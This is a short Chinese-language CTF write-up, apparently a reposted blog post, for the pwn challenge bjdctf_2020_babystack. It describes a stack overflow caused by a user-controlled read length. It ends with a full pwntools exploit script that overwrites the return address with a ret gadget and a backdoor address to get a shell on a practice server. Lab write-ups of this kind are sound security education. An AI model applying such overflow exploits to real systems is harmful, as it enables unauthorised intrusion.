当前位置:网站首页>bjdctf_2020_babystack

bjdctf_2020_babystack

2022-06-24 07:22:00 [mzq]

bjdctf_2020_babystack

在這裏插入圖片描述
checksec 一下 64比特程序 沒開啥東西 ,ida看一下程序
在這裏插入圖片描述

main函數

咋一看read函數讀入0個字符串,讀了個寂寞,scanf也不能溢出,好像沒有問題
在這裏插入圖片描述

但是scanf會讀入一個用戶輸入的數賦值給nbytes ,然後read會讀取nbytes大小的字符,也就是說我們可以任意溢出長度
在這裏插入圖片描述

backdoor函數

運行這個函數直接拿到shell
在這裏插入圖片描述
exp
ret 是為了平衡棧 其實往backdoor函數後遞+1也行

from pwn import *

io = process("./bjdctf_2020_babystack")
io = remote("node4.buuoj.cn",29159)
elf = ELF("./bjdctf_2020_babystack")
context(log_level="debug",arch="amd64")
backdoor = elf.symbols["backdoor"]
ret = 0x0000000000400561

print backdoor

io.sendlineafter(b"Please input the length of your name:","100")


payload = "a"*16 + "b"*8 + p64(ret) + p64(backdoor)
payload = flat(["a"*16,"b"*8,ret,backdoor])

io.sendlineafter("What's u name?",payload)
io.interactive()

在這裏插入圖片描述

原网站

版权声明
本文为[[mzq]]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/175/202206240137467401.html